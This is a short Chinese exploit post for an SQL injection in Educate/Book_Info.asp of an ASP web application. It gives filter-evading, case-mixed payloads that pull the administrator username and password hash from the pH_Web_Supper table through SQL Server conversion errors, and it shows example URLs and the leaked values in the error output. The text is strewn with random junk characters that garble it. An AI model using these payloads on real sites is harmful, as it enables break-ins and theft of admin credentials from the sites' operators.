漏洞出现在Educate/Book_Info.asp 4 o+ s( J5 a$ O; J( ~9 X. Z
* } P3 K7 W6 ^4 a3 Y/ J
此处注入点虽然过滤了一些关键字 但是我们还是可以盲注的 可以利用sqlmap跑出; A$ p$ X4 v3 g0 {0 k& g& b
. n; ^) H% X. K3 ^; |( H4 _exp:如下0 }! y) O# j5 ?: Y
查询管理账号:+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
/ F4 t* P, Z1 M查询管理密码:+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)
0 t5 K ~8 n! E ?7 W }. r
4 V) r. c4 p$ O1 H& z. @http://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
0 I, A9 H2 M, o( z + l' G: i: I) N7 D+ g2 O
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
, R j) H( Q, ^4 g - M% i2 c% O, y# c; \# `
将 nvarchar 值 'hackbase' 转换为数据类型为 int 的列时发生语法错误。
`9 z i. d |* d# W l1 x 8 U4 o, t* `2 L
/Educate/Book_Info.asp,行 8
H2 f& z. u n) j1 a$ G G 0 d) k* ^7 l' r8 |) V2 Y2 ]
http://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)
2 A' Q* R$ G! |+ G) j 6 @+ E8 W+ O$ C9 G
Microsoft OLE DB Provider for SQL Server 错误 '80040e07' h) n5 S2 p. V
+ h4 ~* I) `7 q. }7 s将 nvarchar 值 '165706AD8319D7F95B7FC5E82FBE8F' 转换为数据类型为 int 的列时发生语法错误。# I) E$ |, U) G# F* v& ]
, t8 J! ^, B X5 H" U4 p/Educate/Book_Info.asp,行 8
( x7 _$ Z; C# P. n$ ~( d |